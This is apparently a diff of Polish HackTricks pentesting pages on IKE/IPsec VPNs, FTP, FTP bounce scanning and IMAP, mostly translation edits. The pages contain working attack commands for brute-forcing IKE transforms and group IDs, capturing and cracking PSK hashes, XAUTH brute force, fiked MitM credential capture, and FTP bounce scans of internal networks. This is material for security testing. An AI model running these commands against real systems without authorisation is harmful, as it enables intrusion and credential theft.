* _0 zwrócone handshake; 1 zwrócone notify:_ Bramy VPN odpowiadają wiadomością notify, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).
|
||||
* _**1 zwrócone handshake; 0 zwrócone notify:**_ To oznacza, że **cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalnych** (ważna transformacja zostanie pokazana w wynikach).
|
||||
* _0 zwrócone handshake; 1 zwrócone notify:_ Bramki VPN odpowiadają wiadomością notify, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramki tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).
|
||||
|
||||
W takim razie mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz **trochę przeprowadzić brute-force, aby znaleźć ważną transformację:**
|
||||
|
||||
|
@ -86,7 +78,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
```
|
||||
Mam nadzieję, że **ważna transformacja zostanie odesłana**.\
|
||||
Możesz spróbować **tego samego ataku** używając [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Możesz również spróbować przeprowadzić brute force transformacji za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
Możesz również spróbować przeprowadzić brute force na transformacjach za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
|
@ -99,7 +91,7 @@ Cisco wskazuje, aby unikać używania grup DH 1 i 2, ponieważ nie są wystarcza
|
|||
|
||||
### Fingerprinting serwera
|
||||
|
||||
Następnie można użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **między** otrzymanymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, pentester może skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku Vendor ID (VID)** z IKE.
|
||||
Następnie można użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **pomiędzy** odebranymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, pentester może skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku Vendor ID (VID)** z IKE.
|
||||
|
||||
**Określ ważną transformację, jeśli to konieczne** (używając --trans)
|
||||
|
||||
|
@ -146,7 +138,7 @@ Ten skrypt **spróbuje brute-forcingu możliwych ID** i zwróci ID, dla których
|
|||
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować wszystkich (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
||||
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do brute-forcingu:
|
||||
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) powszechnych nazw grup do brute-forcingu:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
|
@ -154,23 +146,23 @@ Or use this dict (jest to kombinacja innych 2 słowników bez powtórzeń):
|
|||
|
||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||||
|
||||
### Bruteforcing ID with Iker
|
||||
### Bruteforcing ID z Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforce'owania możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważne ID na podstawie wyników ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforcingu możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważne ID na podstawie wyników ike-scan**.
|
||||
|
||||
### Bruteforcing ID with ikeforce
|
||||
### Bruteforcing ID z ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można wykorzystać do **bruteforce'owania ID również**. To narzędzie **spróbuje wykorzystać różne luki** które mogą być użyte do **rozróżnienia między ważnym a nieważnym ID** (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można wykorzystać do **bruteforcingu ID również**. To narzędzie **spróbuje wykorzystać różne luki** które mogą być użyte do **rozróżnienia między ważnym a nieważnym ID** (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
||||
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
||||
|
||||
* **Pierwsza metoda** polega na bruteforce'owaniu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).
|
||||
* **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne ID.
|
||||
* **Pierwsza metoda** polega na bruteforcingu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).
|
||||
* **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne id.
|
||||
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID**.
|
||||
* Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforce'ować serwer i sprawdzić, czy po wysłaniu poprawnego ID serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem bruteforce'owania ID jest uzyskanie **PSK**, gdy masz ważne ID. Następnie, z **ID** i **PSK** będziesz musiał bruteforce'ować XAUTH (jeśli jest włączone).
|
||||
* Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforcingu serwera i sprawdzi, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
||||
Oczywiście celem bruteforcingu id jest uzyskanie **PSK**, gdy masz ważne id. Następnie, z **id** i **PSK** będziesz musiał bruteforcingować XAUTH (jeśli jest włączone).
|
||||
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
||||
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować je wszystkie, aż jedna z nich będzie działać poprawnie).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -187,7 +179,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy**, a **tryb agresywny jest dozwolony**, to bardzo łatwo możesz przechwycić łamliwy hash:
|
||||
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy**, a jeśli **tryb agresywny jest dozwolony**, to bardzo łatwo możesz przechwycić łamliwy hash:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -201,7 +193,7 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
|
||||
**Agresywny tryb IKE** w połączeniu z **kluczem współdzielonym (PSK)** jest powszechnie stosowany do **uwierzytelniania grupowego**. Metoda ta jest wzbogacona o **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub porównywalne systemy.
|
||||
|
||||
Przechodząc do **IKEv2**, zauważalna jest istotna zmiana, w której **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
||||
Przechodząc do **IKEv2**, zauważalna zmiana polega na tym, że **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
||||
|
||||
### Lokalna sieć MitM do przechwytywania poświadczeń
|
||||
|
||||
|
@ -209,7 +201,7 @@ Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istniej
|
|||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać ustanowiony, być może ruch będzie wysyłany w postaci niezaszyfrowanej.
|
||||
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać nawiązany, być może ruch zostanie wysłany w postaci niezaszyfrowanej.
|
||||
|
||||
### Brute-forcing XAUTH username ad password with ikeforce
|
||||
|
||||
|
@ -247,24 +239,19 @@ W tej konfiguracji:
|
|||
* Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
||||
* `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany, gdy `vpnc` zostanie zainicjowany.
|
||||
|
||||
Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc w konfiguracji VPN.
|
||||
Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc wypełniających podczas konfigurowania VPN.
|
||||
|
||||
## Materiały referencyjne
|
||||
|
||||
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [Artykuł o łamaniu PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Network Security Assessment 3rd Edition
|
||||
* [Skanowanie implementacji VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Ocena bezpieczeństwa sieci 3. wydanie
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -275,7 +262,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Protokół transferu plików (FTP)** służy jako standardowy protokół do transferu plików w sieci komputerowej między serwerem a klientem.\
|
||||
|
@ -35,11 +27,11 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Połączenia Aktywne i Pasywne
|
||||
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu komend FTP Serwera – port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do FTP Serwera. FTP **Serwer** następnie **inicjuje** połączenie danych, z **jego portu M do portu N+1** klienta FTP.
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu komend serwera FTP – port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do serwera FTP. Serwer FTP następnie **inicjuje** połączenie danych, z **jego portu M do portu N+1** klienta FTP.
|
||||
|
||||
Jednak, jeśli klient FTP ma skonfigurowany zaporę, która kontroluje przychodzące połączenia danych z zewnątrz, to aktywne FTP może stanowić problem. A wykonalnym rozwiązaniem jest Pasywne FTP.
|
||||
|
||||
W **Pasywnym FTP**, klient inicjuje połączenie kontrolne z portu N do portu 21 FTP Serwera. Po tym, klient wydaje **komendę passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. A **klient** **inicjuje** połączenie danych z **jego portu P do portu M** FTP Serwera.
|
||||
W **Pasywnym FTP**, klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Po tym, klient wydaje **komendę passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. A **klient** **inicjuje** połączenie **danych** z **jego portu P do portu M** serwera FTP.
|
||||
|
||||
Źródło: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -49,7 +41,7 @@ Polecenia **FTP** **`debug`** i **`trace`** mogą być używane do zobaczenia **
|
|||
|
||||
## Enumeracja
|
||||
|
||||
### Zbieranie banerów
|
||||
### Przechwytywanie banerów
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -122,15 +114,15 @@ ftp <IP>
|
|||
```
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Tutaj znajdziesz ładną listę z domyślnymi danymi logowania ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Tutaj znajdziesz ładną listę z domyślnymi danymi logowania do ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Automated
|
||||
|
||||
Anonimowe logowanie i sprawdzanie bounce FTP są wykonywane domyślnie przez nmap z opcją **-sC** lub:
|
||||
Anonimowe logowanie i sprawdzenie bounce FTP są wykonywane domyślnie przez nmap z opcją **-sC** lub:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
## Browser connection
|
||||
## Połączenie przez przeglądarkę
|
||||
|
||||
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (takiej jak Firefox) używając adresu URL takiego jak:
|
||||
```bash
|
||||
|
@ -171,12 +163,12 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
Niektóre serwery FTP pozwalają na komendę PORT. Ta komenda może być użyta do wskazania serwerowi, że chcesz połączyć się z innym serwerem FTP na pewnym porcie. Następnie możesz użyć tego do skanowania, które porty hosta są otwarte przez serwer FTP.
|
||||
|
||||
[**Dowiedz się tutaj, jak nadużywać serwera FTP do skanowania portów.**](ftp-bounce-attack.md)
|
||||
[**Dowiedz się tutaj, jak nadużyć serwera FTP do skanowania portów.**](ftp-bounce-attack.md)
|
||||
|
||||
Możesz również nadużywać tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika admina?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\
|
||||
Możesz również nadużyć tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, by podatny serwer FTP **wysłał je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika admina?_) lub nawet przesłać żądanie FTP i sprawić, by podatny serwer FTP pobrał plik z innego serwera FTP.\
|
||||
Teoria jest prosta:
|
||||
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmieniać linie z `0x0d 0x0a`
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmienić linie na `0x0d 0x0a`
|
||||
2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysyłać** (może, aby przesłać żądanie w pliku, musiałeś dodać nagłówek obrazu na początku)
|
||||
3. **Użyj `PORT`, aby połączyć się z dowolnym serwerem i usługą**
|
||||
4. **Użyj `RETR`, aby wysłać zapisane żądanie do serwera.**
|
||||
|
@ -192,7 +184,7 @@ posts.txt
|
|||
* Spróbuj **wypełnić żądanie "śmieciowymi" danymi związanymi z protokołem** (rozmawiając z FTP, może po prostu śmieciowe komendy lub powtarzając instrukcję `RETR`, aby uzyskać plik)
|
||||
* Po prostu **wypełnij żądanie dużą ilością znaków null lub innych** (podzielonych na linie lub nie)
|
||||
|
||||
W każdym razie, tutaj masz [stary przykład, jak nadużywać tego, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
W każdym razie, oto [stary przykład, jak nadużyć tego, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Wrażliwość serwera Filezilla
|
||||
|
||||
|
@ -224,15 +216,6 @@ Domyślna konfiguracja vsFTPd znajduje się w `/etc/vsftpd.conf`. Możesz tutaj
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -296,7 +279,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,31 @@
|
|||
# FTP Bounce attack - Scan
|
||||
# Atak FTP Bounce - Skanowanie
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## FTP Bounce - Skanowanie
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Skanning
|
||||
|
||||
### Ręczny
|
||||
### Ręczne
|
||||
|
||||
1. Połącz się z podatnym FTP
|
||||
2. Użyj \*\*`PORT`\*\* lub **`EPRT`** (ale tylko jeden z nich), aby nawiązać połączenie z _\<IP:Port>_, które chcesz zeskanować:
|
||||
2. Użyj \*\*`PORT`\*\* lub **`EPRT`** (ale tylko jednego z nich), aby nawiązać połączenie z _\<IP:Port>_, które chcesz zeskanować:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. Użyj **`LIST`** (to po prostu wyśle do połączonego _\<IP:Port>_ listę aktualnych plików w folderze FTP) i sprawdź możliwe odpowiedzi: `150 File status okay` (to oznacza, że port jest otwarty) lub `425 No connection established` (to oznacza, że port jest zamknięty)
|
||||
1. Zamiast `LIST` możesz również użyć **`RETR /file/in/ftp`** i szukać podobnych odpowiedzi `Open/Close`.
|
||||
4. Zamiast `LIST` możesz również użyć **`RETR /file/in/ftp`** i szukać podobnych odpowiedzi `Open/Close`.
|
||||
|
||||
Przykład użycia **PORT** (port 8080 172.32.80.80 jest otwarty, a port 7777 jest zamknięty):
|
||||
|
||||
|
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -68,8 +54,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Protokół dostępu do wiadomości w Internecie
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Protokół dostępu do wiadomości internetowych
|
||||
|
||||
**Protokół dostępu do wiadomości internetowych (IMAP)** został zaprojektowany w celu umożliwienia użytkownikom **dostępu do ich wiadomości e-mail z dowolnej lokalizacji**, głównie za pośrednictwem połączenia internetowego. W istocie, e-maile są **przechowywane na serwerze** zamiast być pobierane i przechowywane na osobistym urządzeniu użytkownika. Oznacza to, że gdy e-mail jest otwierany lub czytany, odbywa się to **bezpośrednio z serwera**. Ta funkcjonalność umożliwia wygodę sprawdzania e-maili z **wielu urządzeń**, zapewniając, że żadne wiadomości nie zostaną pominięte, niezależnie od używanego urządzenia.
|
||||
